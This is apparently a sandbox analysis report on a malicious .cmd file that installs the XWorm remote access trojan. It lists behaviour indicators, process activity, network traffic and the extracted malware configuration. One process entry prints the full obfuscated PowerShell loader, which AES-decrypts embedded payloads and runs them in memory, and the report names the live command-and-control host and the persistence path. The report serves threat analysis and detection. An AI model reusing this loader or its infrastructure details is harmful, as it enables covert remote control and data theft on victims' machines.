File name:

$phantom-SCV.cmd

Full analysis: https://app.any.run/tasks/1d78517e-39fe-4a03-aab8-3d2ef5a9d76e
Verdict: Malicious activity
Threats:

XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails.

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Analysis date: June 29, 2024, 21:37:04
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
remote
xworm
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines (57858), with CRLF line terminators
MD5:

6E45850D43BDE1D6BC68AB6B07DAF153

SHA1:

427ED64BB89E6BF40E59276768D37152C209E976

SHA256:

0A0A6608A80B982FC1F0897B89C9FFA58BA58E3C2D1C200155E47C495B0C6150

SSDEEP:

12288:Co8xbtgA4f9Ek3aoC4QvfD2ZK1n6B4XyZYi9lGUnnQ:Co8NtsaCm1nhqD9ginQ

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  • MALICIOUS

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 5608)
      • powershell.exe (PID: 4608)

    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 5608)
      • powershell.exe (PID: 4608)

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 5608)
      • powershell.exe (PID: 4608)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 5608)
      • powershell.exe (PID: 4608)

    • Create files in the Startup directory

      • powershell.exe (PID: 4608)

    • XWORM has been detected (SURICATA)

      • powershell.exe (PID: 4608)

    • XWORM has been detected (YARA)

      • powershell.exe (PID: 4608)

    • Connects to the CnC server

      • powershell.exe (PID: 4608)

  • SUSPICIOUS

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 3532)
      • cmd.exe (PID: 4328)

    • Application launched itself

      • cmd.exe (PID: 3532)
      • cmd.exe (PID: 4328)

    • Executing commands from ".cmd" file

      • cmd.exe (PID: 3532)
      • cmd.exe (PID: 4328)
      • powershell.exe (PID: 5608)

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 3532)
      • powershell.exe (PID: 5608)
      • cmd.exe (PID: 4328)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 5608)
      • powershell.exe (PID: 4608)

    • Cryptography encrypted command line is found

      • cmd.exe (PID: 4400)
      • cmd.exe (PID: 696)

    • Connects to unusual port

      • powershell.exe (PID: 4608)

    • Contacting a server suspected of hosting an CnC

      • powershell.exe (PID: 4608)

  • INFO

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 5608)
      • powershell.exe (PID: 4608)

    • Checks current location (POWERSHELL)

      • powershell.exe (PID: 5608)
      • powershell.exe (PID: 4608)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 5608)
      • powershell.exe (PID: 4608)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 5608)
      • powershell.exe (PID: 4608)
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XWorm

(PID) Process(4608) powershell.exe
C2korkos.now-dns.net:999
Keys
AES<123456789>
Options
Splitter<Xwormmm>
Sleep time3
USB drop nameLeech
MutexPloDJK2PhSuWy8rU
No Malware configuration.
No data.
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Total processes
159
Monitored processes
26
Malicious processes
4
Suspicious processes
0

Behavior graph

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start cmd.exe no specs conhost.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs cmd.exe no specs #XWORM powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
116cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
480cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
692cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
696C:\WINDOWS\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('wNcFKur0Jl7450HdnpBnzjJ0VkczGUUgZCayB4N/z5k='); $aes_var.IV=[System.Convert]::FromBase64String('LnVH8Q3dknv++SzltewTug=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZpTQS=New-Object System.IO.MemoryStream(,$param_var); $OYGBL=New-Object System.IO.MemoryStream; $STZRP=New-Object System.IO.Compression.GZipStream($ZpTQS, [IO.Compression.CompressionMode]::Decompress); $STZRP.CopyTo($OYGBL); $STZRP.Dispose(); $ZpTQS.Dispose(); $OYGBL.Dispose(); $OYGBL.ToArray();}function execute_function($param_var,$param2_var){ $QnAOk=[System.Reflection.Assembly]::Load([byte[]]$param_var); $GDXEp=$QnAOk.EntryPoint; $GDXEp.Invoke($null, $param2_var);}$pPyzM = 'C:\Users\admin\AppData\Roaming\$phantom-SCV.cmd';$host.UI.RawUI.WindowTitle = $pPyzM;$CtNBM=[System.IO.File]::ReadAllText($pPyzM).Split([Environment]::NewLine);foreach ($oZZUg in $CtNBM) { if ($oZZUg.StartsWith('IrzEsjacAQqOMrEShQQm')) { $GKlON=$oZZUg.Substring(20); break; }}$payloads_var=[string[]]$GKlON.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
1068cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
1304cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
2208cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
2272cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
2416cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
2524cmd /c "set __=^&rem"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
Total events
14 921
Read events
14 905
Write events
16
Delete events
0

Modification events

(PID) Process:(5608) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(5608) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(5608) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(5608) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(4608) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(4608) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(4608) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(4608) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
Executable files
0
Suspicious files
1
Text files
5
Unknown types
0

Dropped files

PID
Process
Filename
Type
4608powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ixqbafdp.fpi.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5608powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_yz3vkhs5.zqi.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5608powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactivebinary
MD5:0021AC52F3493DBCF1C8CFCD69F43842
SHA256:B1B59325716B3F39E67C07416A8740EA5F9874427F3543A21F9A015F1ABDAB1F
4608powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$phantom-SCV.cmdtext
MD5:6E45850D43BDE1D6BC68AB6B07DAF153
SHA256:0A0A6608A80B982FC1F0897B89C9FFA58BA58E3C2D1C200155E47C495B0C6150
5608powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ny1b0xc5.15q.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4608powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ljnqumhy.3ux.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
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HTTP(S) requests
9
TCP/UDP connections
66
DNS requests
22
Threats
11

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3580
svchost.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
unknown
3580
svchost.exe
GET
200
23.48.23.166:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
unknown
3040
OfficeClickToRun.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
unknown
1544
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
unknown
5076
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
unknown
4656
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
unknown
5076
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
unknown
1052
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
unknown
5324
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
unknown
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
5980
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4032
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
3580
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5864
RUXIMICS.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3580
svchost.exe
23.48.23.166:80
crl.microsoft.com
Akamai International B.V.
DE
unknown
3580
svchost.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
unknown
3040
OfficeClickToRun.exe
13.89.178.26:443
self.events.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
3040
OfficeClickToRun.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
4656
SearchApp.exe
104.126.37.146:443
—
Akamai International B.V.
DE
unknown
4656
SearchApp.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
whitelisted
crl.microsoft.com
  • 23.48.23.166
  • 23.48.23.143
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
self.events.data.microsoft.com
  • 13.89.178.26
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
login.live.com
  • 40.126.31.71
  • 20.190.159.68
  • 20.190.159.73
  • 20.190.159.4
  • 20.190.159.75
  • 40.126.31.69
  • 40.126.31.67
  • 40.126.31.73
whitelisted
go.microsoft.com
  • 184.30.17.189
whitelisted
korkos.now-dns.net
  • 144.76.71.93
unknown
slscr.update.microsoft.com
  • 40.68.123.157
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 13.85.23.206
whitelisted

Threats

PID
Process
Class
Message
2168
svchost.exe
Potentially Bad Traffic
ET INFO DYNAMIC_DNS Query to a *.now-dns .net Domain
4608
powershell.exe
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] Xworm Network Packet
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Reports
$phantom-SCV.cmd